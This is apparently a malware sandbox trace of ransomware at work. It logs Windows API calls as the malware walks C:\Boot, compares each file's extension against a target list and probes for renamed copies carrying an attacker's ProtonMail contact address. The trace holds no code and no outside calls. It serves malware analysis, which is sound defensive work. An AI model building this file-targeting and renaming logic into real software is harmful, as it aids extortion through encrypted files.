	[0167.750] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString=".dbf") returned 4
	[0167.750] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString=".1cd") returned 4
	[0167.750] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString=".jpg") returned 4
	[0167.750] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString=".doc") returned 4
	[0167.750] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString=".docx") returned 5
	[0167.750] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.750] lstrlenW (lpString=".pdf") returned 4
	[0167.750] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString=".xls") returned 4
	[0167.750] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.750] lstrlenW (lpString=".xlsx") returned 5
	[0167.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.750] lstrlenW (lpString=".ppt") returned 4
	[0167.750] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.750] lstrlenW (lpString=".zip") returned 4
	[0167.750] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.751] lstrlenW (lpString=".rar") returned 4
	[0167.751] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.751] lstrlenW (lpString=".bz2") returned 4
	[0167.751] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.751] lstrlenW (lpString=".7z") returned 3
	[0167.751] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.751] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.751] lstrlenW (lpString=".dbf") returned 4
	[0167.751] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.751] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.751] lstrlenW (lpString=".1cd") returned 4
	[0167.751] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.751] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.751] lstrlenW (lpString=".jpg") returned 4
	[0167.751] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.751] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.751] lstrlenW (lpString="msyh_boot.ttf") returned 13
	[0167.751] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.752] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=156245) returned 1
	[0167.752] CloseHandle (hObject=0x474) returned 1
	[0167.753] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0167.753] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.753] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.753] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.753] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.753] lstrlenW (lpString=".doc") returned 4
	[0167.753] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.753] lstrlenW (lpString=".docx") returned 5
	[0167.753] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.753] lstrlenW (lpString=".pdf") returned 4
	[0167.753] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.753] lstrlenW (lpString=".xls") returned 4
	[0167.753] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.753] lstrlenW (lpString=".xlsx") returned 5
	[0167.753] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.753] lstrlenW (lpString=".ppt") returned 4
	[0167.753] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.753] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.753] lstrlenW (lpString=".zip") returned 4
	[0167.753] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.753] lstrlenW (lpString=".rar") returned 4
	[0167.753] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.753] lstrlenW (lpString=".bz2") returned 4
	[0167.753] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString=".7z") returned 3
	[0167.754] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString=".dbf") returned 4
	[0167.754] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString=".1cd") returned 4
	[0167.754] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString=".jpg") returned 4
	[0167.754] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString=".doc") returned 4
	[0167.754] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString=".docx") returned 5
	[0167.754] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.754] lstrlenW (lpString=".pdf") returned 4
	[0167.754] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString=".xls") returned 4
	[0167.754] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.754] lstrlenW (lpString=".xlsx") returned 5
	[0167.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.754] lstrlenW (lpString=".ppt") returned 4
	[0167.754] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.754] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.754] lstrlenW (lpString=".zip") returned 4
	[0167.754] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.755] lstrlenW (lpString=".rar") returned 4
	[0167.755] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.755] lstrlenW (lpString=".bz2") returned 4
	[0167.755] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.755] lstrlenW (lpString=".7z") returned 3
	[0167.755] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.755] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.755] lstrlenW (lpString=".dbf") returned 4
	[0167.755] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.755] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.755] lstrlenW (lpString=".1cd") returned 4
	[0167.755] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.755] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0167.755] lstrlenW (lpString=".jpg") returned 4
	[0167.755] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.755] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.755] lstrlenW (lpString="segmono_boot.ttf") returned 16
	[0167.755] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.757] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=44859) returned 1
	[0167.757] CloseHandle (hObject=0x474) returned 1
	[0167.757] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0167.758] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.758] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.758] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.758] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.758] lstrlenW (lpString=".doc") returned 4
	[0167.758] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.758] lstrlenW (lpString=".docx") returned 5
	[0167.758] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.758] lstrlenW (lpString=".pdf") returned 4
	[0167.758] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.758] lstrlenW (lpString=".xls") returned 4
	[0167.758] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.758] lstrlenW (lpString=".xlsx") returned 5
	[0167.758] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.758] lstrlenW (lpString=".ppt") returned 4
	[0167.758] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.758] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.758] lstrlenW (lpString=".zip") returned 4
	[0167.758] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.758] lstrlenW (lpString=".rar") returned 4
	[0167.758] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.758] lstrlenW (lpString=".bz2") returned 4
	[0167.758] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.758] lstrlenW (lpString=".7z") returned 3
	[0167.758] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.758] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString=".dbf") returned 4
	[0167.759] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString=".1cd") returned 4
	[0167.759] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString=".jpg") returned 4
	[0167.759] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString=".doc") returned 4
	[0167.759] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString=".docx") returned 5
	[0167.759] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.759] lstrlenW (lpString=".pdf") returned 4
	[0167.759] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString=".xls") returned 4
	[0167.759] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.759] lstrlenW (lpString=".xlsx") returned 5
	[0167.759] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.759] lstrlenW (lpString=".ppt") returned 4
	[0167.759] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.759] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.759] lstrlenW (lpString=".zip") returned 4
	[0167.759] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.759] lstrlenW (lpString=".rar") returned 4
	[0167.759] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.760] lstrlenW (lpString=".bz2") returned 4
	[0167.760] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.760] lstrlenW (lpString=".7z") returned 3
	[0167.760] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.760] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.760] lstrlenW (lpString=".dbf") returned 4
	[0167.760] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.760] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.760] lstrlenW (lpString=".1cd") returned 4
	[0167.760] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.760] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0167.760] lstrlenW (lpString=".jpg") returned 4
	[0167.760] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.760] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.760] lstrlenW (lpString="segoen_slboot.ttf") returned 17
	[0167.760] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.760] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=85862) returned 1
	[0167.761] CloseHandle (hObject=0x474) returned 1
	[0167.761] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20
	[0167.761] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.761] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.761] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.761] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.761] lstrlenW (lpString=".doc") returned 4
	[0167.761] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.761] lstrlenW (lpString=".docx") returned 5
	[0167.761] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.761] lstrlenW (lpString=".pdf") returned 4
	[0167.761] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.761] lstrlenW (lpString=".xls") returned 4
	[0167.761] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.761] lstrlenW (lpString=".xlsx") returned 5
	[0167.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.761] lstrlenW (lpString=".ppt") returned 4
	[0167.761] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.761] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.761] lstrlenW (lpString=".zip") returned 4
	[0167.761] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.761] lstrlenW (lpString=".rar") returned 4
	[0167.761] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.761] lstrlenW (lpString=".bz2") returned 4
	[0167.761] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.761] lstrlenW (lpString=".7z") returned 3
	[0167.762] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString=".dbf") returned 4
	[0167.762] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString=".1cd") returned 4
	[0167.762] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString=".jpg") returned 4
	[0167.762] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString=".doc") returned 4
	[0167.762] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString=".docx") returned 5
	[0167.762] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.762] lstrlenW (lpString=".pdf") returned 4
	[0167.762] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString=".xls") returned 4
	[0167.762] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.762] lstrlenW (lpString=".xlsx") returned 5
	[0167.762] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.762] lstrlenW (lpString=".ppt") returned 4
	[0167.762] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.762] lstrlenW (lpString=".zip") returned 4
	[0167.762] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.762] lstrlenW (lpString=".rar") returned 4
	[0167.762] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString=".bz2") returned 4
	[0167.762] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.762] lstrlenW (lpString=".7z") returned 3
	[0167.762] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.763] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.763] lstrlenW (lpString=".dbf") returned 4
	[0167.763] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.763] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.763] lstrlenW (lpString=".1cd") returned 4
	[0167.763] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.763] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31
	[0167.763] lstrlenW (lpString=".jpg") returned 4
	[0167.763] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.763] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.763] lstrlenW (lpString="segoe_slboot.ttf") returned 16
	[0167.763] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.763] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=86178) returned 1
	[0167.763] CloseHandle (hObject=0x474) returned 1
	[0167.763] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20
	[0167.764] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.764] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.764] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0167.764] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0167.764] lstrlenW (lpString=".doc") returned 4
	[0167.764] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.764] lstrlenW (lpString=".docx") returned 5
	[0167.764] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.764] lstrlenW (lpString=".pdf") returned 4
	[0167.764] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.764] lstrlenW (lpString=".xls") returned 4
	[0167.764] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.764] lstrlenW (lpString=".xlsx") returned 5
	[0167.764] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.764] lstrlenW (lpString=".ppt") returned 4
	[0167.764] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.764] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0167.764] lstrlenW (lpString=".zip") returned 4
	[0167.764] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.764] lstrlenW (lpString=".rar") returned 4
	[0167.764] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.764] lstrlenW (lpString=".bz2") returned 4
	[0167.764] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.764] lstrlenW (lpString=".7z") returned 3
	[0167.764] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.764] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30
	[0167.765] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.765] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.765] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=49091) returned 1
	[0167.765] CloseHandle (hObject=0x474) returned 1
	[0167.765] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20
	[0167.765] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.765] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.766] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.766] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.766] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=79200) returned 1
	[0167.766] CloseHandle (hObject=0x474) returned 1
	[0167.766] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20
	[0167.766] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.766] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.767] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.767] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.767] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=79192) returned 1
	[0167.767] CloseHandle (hObject=0x474) returned 1
	[0167.767] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0167.767] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.767] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.768] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.768] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.768] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=45984) returned 1
	[0167.768] CloseHandle (hObject=0x474) returned 1
